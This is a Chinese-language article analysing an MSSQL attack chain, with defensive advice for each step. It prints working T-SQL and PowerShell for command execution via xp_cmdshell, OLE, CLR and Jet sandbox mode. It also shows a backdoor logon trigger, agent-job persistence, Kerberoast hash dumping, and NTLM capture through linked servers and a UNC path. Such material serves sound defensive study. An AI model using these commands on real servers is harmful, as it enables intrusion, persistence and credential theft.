MSSQL Attack Chain Analysis
突破口
1.1
存储过程
利用前提:
存储过程相对应的依赖dll存在
dba权限
简介:
存储过程是一组为了完成特点功能的sql语句集合,通过编译后存储在数据库中,用户可以通过存储过程以及相应的参数来调用,可以简单理解为我们代码中的函数;开发人员的一个常见错误是将他们要使用的所有功能都将其写入存储过程中,以方便在其他用户的上下文中执行,这些存储过程一般都是以高权限来执行的,并且不需要被授予特权,这正好为攻击者提供了新的利用点;虽然其设计是为了提高运行效率,但是有一些涉及到系统命令的存储过程,就相当于是一个危险函数,如果不加以限制的话就可能会留下漏洞点。
示例:
比如常见的xp_cmdshell,它的作用很简单,就是一个执行系统命令的存储过程;
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
当然也可能存在xp_cmdshell被删除的情况,尤其是mssql2005之前默认开启的版本
可以先通过执行下边的语句来判断xp_cmdshell是否存在
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
--返回1则是存在的,返回0则是不存在
现在实战的话基本很少遇到可以直接利用的xp_cmdshell了,基本都会对xp_cmdshell做禁用,并且也会删除xp_cmdshell的依赖文件xplog70.dll;虽然遇到被删除的情况也可以自己传上去,但是涉及到一个文件落地的问题,特意删除可能文件就会在杀软的黑名单里,再加上不出网,直接上传很可能是行不通的,不过还是可以配合一些其他手段比如16进制的文件流写入之类的操作重新造出一个文件来。
同样的以及还有像xp_regwrite,xp_regread这些可以对注册表操作,或者xp_dirtree,xp_subdirs这些可以对文件操作的危险存储过程。
防护建议
应撤销所有用户(dbo 除外)对 xp_cmdshell 的执行权限,最好直接对其进行禁用或者删除
如果非业务需要,可以直接对扩展存储过程进行禁用
除了可以用sp_configure禁用的存储过程外,对剩下的一些系统扩展存储,通过拒绝PUBLIC角色可执行扩展存储过程权限来进行禁用
撤销存所有用户执行注册表相关操作的扩展过程的权限
1.2
COM组件
利用前提:
dba权限
ole组件存在
简介:
主要原理是在引入了OLE系列之后通过调用OLE对象,利用OLE对象的相应方法执行系统命令,其中该方式主要用到两个OLE系列的存储过程:sp_oacreate和sp_oamethod 。
sp_oacreate的主要功能是为指定的com类创建一个对象实例;sp_oamethod的主要功能是调用com对象实例中的方法。
通过这两个存储对象配合起来,sp_oacreate通过创建com对象实例,然后通过sp_oamethod来调用实例里边的方法去执行命令,来完成命令执行这个过程;不过由于 COM 对象的设计目标并非用于交互式命令执行,而是用于程序之间的通信或功能扩展。大部分 COM 对象方法返回的是执行的状态(如成功或失败)或其他数据类型的结果,而不是用于直接显示命令行输出,所以通过这种方式执行命令是无回显的,攻击者可能会将结果输出到其他地方来获取执行结果。
示例:
需要对sp_oacreate进行开启
--开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
开启之后利用的主要是下边的一些COM对象:wscript.shell、Shell.Applacation、ADODB.Stream、Scripting.FileSystemObject等。
以wscript.shell为例
利用wscript.shell的run方法去执行命令
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
--exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@shell output;
exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami >c:\\\\test.txt';
--把执行结果输出到其他文件下
或者换这种方式不需要写入文件直接去获取到输出结果
DECLARE @object INT, @object2 INT, @object3 INT, @str VARCHAR(8000)
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
--EXEC sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}', @object OUTPUT
EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT, 'C:\\Windows\\System32\\cmd.exe /c whoami'
EXEC sp_OAMethod @object2, 'StdOut', @object3 OUTPUT
EXEC sp_OAMethod @object3, 'readall', @str OUTPUT
SELECT @str;
相比于上一种方式该方式声明了四个变量,关键点是在通过调用命令执行结果的输出流对象(@object3)的 readall 方法,从输出流中读取内容然后返回作为字符串保存到@str中,最后执行SELECT @str即可查看执行命令的结果。
防护建议
随时禁用ole系列的存储过程
仅允许加载和执行通过验证的COM组件
1.3
CLR
利用前提:
dba权限
需要mssql和.net的版本对应不然会报错
.net程序集的数据库配置为可信赖的
简介:
CLR作为对.net运行的集成,使我们能够在mssql执行任意c#代码,虽然确实带来了很多方便但是同时也意味着攻击者也可能在我们的机器上执行任意c#代码,简单来说攻击者利用CLR相当于就是写了一个自定义的存储过程去执行操作。
攻击者通过把unsafe的程序集导入标记为信任的数据库(master默认为信任数据库),然后注册dll来创建新的存储过程;运行权限级别为SAFE的代码只需要启动CLR就行,但是想要运行EXTERNAL_ACCESS或者UNSAFE的话就需要dba权限了;另外利用CLR的方式可以通过16进制文件流去导入dll文件,所以这种方式不需要文件落地,就算是不出网的环境也能操作。
示例:
提前准备好用于执行命令的16进制dll文件流。
--开启 CLR 服务
EXEC sp_configure 'show advanced options',1;RECONFIGURE;
EXEC sp_configure 'clr enabled',1;RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;
--导入16进制文件流
CREATE ASSEMBLY UserDefinedClrAssembly
FROM 16进制文件流
WITH PERMISSION_SET = UNSAFE;
--创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
--执行命令
EXEC dbo.ExecCommand "whoami /all";
任意创建存储过程,无文件落地,便于配合其他攻击手法等好处在实战中大大的拓展了对mssql的攻击面,如果不加以限制,CLR的安全隐患是非常大的。
利用工具:
WarSQLKit
https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
--WarSQLKit是一个针对MSSQL CLR进行利用的工具
防护建议:
避免unsafe的程序集
控制程序集加载权限
对所有CLR程序集采用可信证书签名
禁用CLR
1.4
沙盒模式
利用条件:
服务器拥有 jet.oledb.4.0 驱动
dba权限
依赖xp_regwrite存储过程对注册表修改
mssql未降权
简介:
沙盒模式是一种安全功能,在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值,如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如 kill 和 shell 之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。
沙盒提权的核心就是对注册表的操作,本质上mdb文件是不允许执行系统命令的,但是在沙盒模式下可以通过查询方式去调用mdb文件执行参数来进行绕过,通过Access数据库中的shell函数去达到执行命令的效果,
其中的核心就是对mdb文件的利用,以及对注册表的操作。
示例:
所以我们对沙盒模式进行激活,通过xp_regwrite存储过程修改注册表把注册表的参数改为0(在任何所有者中禁止启用安全模式)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0;--
开启Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
接着利用openrowset访问一个access数据库文件,再执行我们需要的命令
access数据库文件也可以把ias.mdb换为dnary.mdb,因为win2003下自带了这两个access库文件
--执行命令
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\\windows\\system32\\ias\\ias.mdb','select shell("net user >c:\\test.txt ")');
但是像win2008r2这种由于默认是无access数据库文件的情况,如果要执行命令的话需要自己上传或者通过unc路径去加载。
防护建议:
删除机器上的mdb文件,如无业务需要则不对jet服务进行注册
禁用xp_regwrite这些对注册表操作的存储过程
撤销用于访问注册表的执行权限
MSSQL Attack Chain Analysis
权限维持
2.1
触发器
利用前提:
需要高权限用户去执行触发
简介:
在mssql中触发器的功能是在执行指定动作之后去执行sql语句。
比如我们遇到的最常见的一个触发器就是登录触发器,很多时候我们在遇到mssql后端时尝试去连接的时候会提示主机名不在白名单中,它只允许来自预定义主机名或应用程序清单中的连接,而这个触发器就是通过登录这个操作来实现的,而攻击者进行维权也可以以这种思路来进行,去对一些常见的操作做触发器,比如登录,查询操作等。
示例:
例如以sa登录的动作为例创建一个触发器
-- 创建登录触发器
CREATE TRIGGER test
ON ALL SERVER
FOR LOGON
AS
BEGIN
-- 检查登录用户名是否为 sa
IF ORIGINAL_LOGIN() = 'sa'
BEGIN
-- 执行 xp_cmdshell 命令
EXEC xp_cmdshell '执行的命令';
END
END;
GO
这样每次sa登录都会执行一次攻击者留下的命令,在实战中,同样是一种提权的思路,因为是以用户的权限去执行,攻击者可以提前准备好触发器然后等待高权限的用户去执行恶意触发器来实现提权操作。
防护建议:
限制触发器的创建,仅授予受信任的用户创建权限
使用数字签名模块
限制外连
2.2
代理作业
利用前提:
mssql开启代理服务(Express 版本mssql 无法开启 )
CLR开启
存储.net的数据库是可信赖的
有创建代理任务的权限
简介:
mssql代理是一个用于执行自动化任务的服务,设定的定时作业可以通过代理服务来定时执行;
实战中利用的主要是两个代理作业的子系统:CmdExec和PowerShell,这两个功能可以分别用于执行系统命令和PowerShell脚本。
示例:
--开启代理作业服务
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
--创建代理作业
USE msdb;
EXEC sp_add_job 'myjob'
EXEC sp_add_jobstep null,'myjob',null,'1','cmdexec','cmd.exe /c "whoami > C:\\\1.txt"'
EXEC sp_add_jobserver null,'myjob',@@servername
exec sp_start_job 'myjob';
攻击者通常会结合到其他方式来进行,其中往往会有多种手段的嵌套,计划任务不再是一长串的语句,可能只有一句短短的sql,而该语句执行的可能是一个攻击者自定义的CLR存储过程,真正的恶意代码在存储过程中里边,再结合到CLR无文件的特性,作为后门的隐蔽性就好变得更好;或者可以去定期执行CreatWarSQLKit,实现WarSQLKit的dll持久化,以及结合到其他的一些维权操作。
防护建议:
禁用CLR
限制作业访问外部资源
启用安全代理账户,避免使用高权限账户
MSSQL Attack Chain Analysis
横向移动
3.1
Kerberoast
利用条件:
mssql注册了spn且是在域用户下边注册的(机器账户的话由于密码随机基本无法爆破hash)
加密方式为RC4
简介:
由于mssql作为服务实例,在域环境下如果注册了spn,便可以尝试kerberoast攻击;
攻击者通过向kdc发送针对已注册了spn的服务实例的请求时,由于最终的st是由对应服务的ntlm的hash加密的,通过对其进行暴力破解可以尝试获取到服务密码,如果服务在域中权限高的话,那么威胁就会更大。
当然破解的关键还是不安全的RC4算法,如果是AES的话就很难解出来了。
示例:
在域环境下,寻找注册了spn的mssql服务,在CLR中用GetUserSPNs.ps1,PowerView.ps1或者直接通过setspn都可以去发现spn 。
setspn -T ignite -Q */*
--Import-Module .\GetUserSPNs.ps1
--Import-Module .\PowerView.ps1Get-NetUser -SPN
接着对kdc发起kerberos请求得到st后对其转储,或者用Invoke-kerberoast.ps1可以一键到位,当然也可用mimikatz 。
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat
后边接着hashcat暴力破解就行。
防护建议:
采用类似AES这种安全性高的加密算法
如非必要不对mssql注册spn
3.2
Sqllink
利用条件:
配置了sqllink
简介:
数据库链接本质上是两个服务器之间的持久连接,它允许一个数据库服务器去对其他的数据库服务器进行查询,数据链接可以用不同的方式进行配置,但是更多时候我们看到它们使用硬编码的凭据。
Public角色使用openquery()函数,对被链接的数据库服务器进行查询;也可以执行xp_cmdshell,对远程访问也无凭证要求。通常配置此功能会使数据库服务器,拥有过多的特权。因此允许在远程服务器上的模拟登录,切换到高权限账号的上下文中。
示例:
当登录了mssql可以尝试对内网中的其他数据库是否与当前数据库存在link进行查询。
--查询当前link的数据库
EXEC sp_linkedservers;
如果此时可以以当前用户的凭据连接link的数据库时,可以尝试利用openquery或者at的方式进行远程的sql语句执行或者去调用xp_cmdshell 。
EXECUTE AS LOGIN = 'username';
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT linkname;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT linkname;
EXEC ('xp_cmdshell ''whoami'';') AT linkname;
如果此时在域环境中的话,与上一种在局域网中的连接不同,因为在域内中两台数据库link涉及到ntlm的通信;此时,可以在impacket里用ntlmrelayx监听好,使用xp_dirtree对目标unc路径进行查询,触发ntlm通信则能截取到hash然后就可以尝试本地爆破。
--对UNC路径查询触发ntlm
select 1 from openquery("sqllinked-hostname", 'select 1; EXEC master..xp_dirtree ''\\UNC\share''')
防护建议:
禁止sqllink
限制链接服务器的权限
MSSQL Attack Chain Analysis
总结
结合上边的攻击链分析可以发现大多数的问题都是因为账号的权限配置而产生的;
在mssql中可以说账户对于攻击面大小的影响是巨大的,如果拿到的是一个完全不受限的sa账号,此时相当于完全掌握了数据库,基本上所有的扩展和功能比如CLR,COM组件这些都能用,除非是防护很强的环境,不然getshell应该是非常容易的;
当然,在实战中大多数情况都是拿到一个public角色的账户,这时就要根据具体环境来操作了,大部分public角色都是受限的,当然也会存在像这样在master库中有db_owner权限的public角色,在实战中尤其是对于那些数据库比较少的时候这种情况很多,大概率在master中都会有db_owner权限,有了db_owner这个权限对于攻击者来说操作性也会变大;但是对于一个做好了权限制的public角色,攻击面则会受到巨大的限制,想上述这些单纯依靠mssql本身来攻击是很困难的,需要结合一些其他方向的手段才行;
同时在mssql中还存在guest账户,虽然在默认情况下是禁用的,但是可能有些时候也会开放使用,有些时候就可能会存在权限配置错误的guest账户;
除了账号的问题还存在另一个的根源就是sql注入,本文都是基于攻击者在mssql后台的操作来分析的,但是在攻击者无法登录到mssql后台的时候,sql注入则变成了唯一的突破点,所以想要从根源上提高mssql的安全性,最好对sql注入做到全面的抵御。
引用:
mssql 提权总结:
https://tttang.com/archive/1545/#toc_0x06-sp_oacreate-ole-automation-procedures
域环境下利用MSSQL横向渗透技巧:
https://wwlib.cn/index.php/artread/artid/8237.html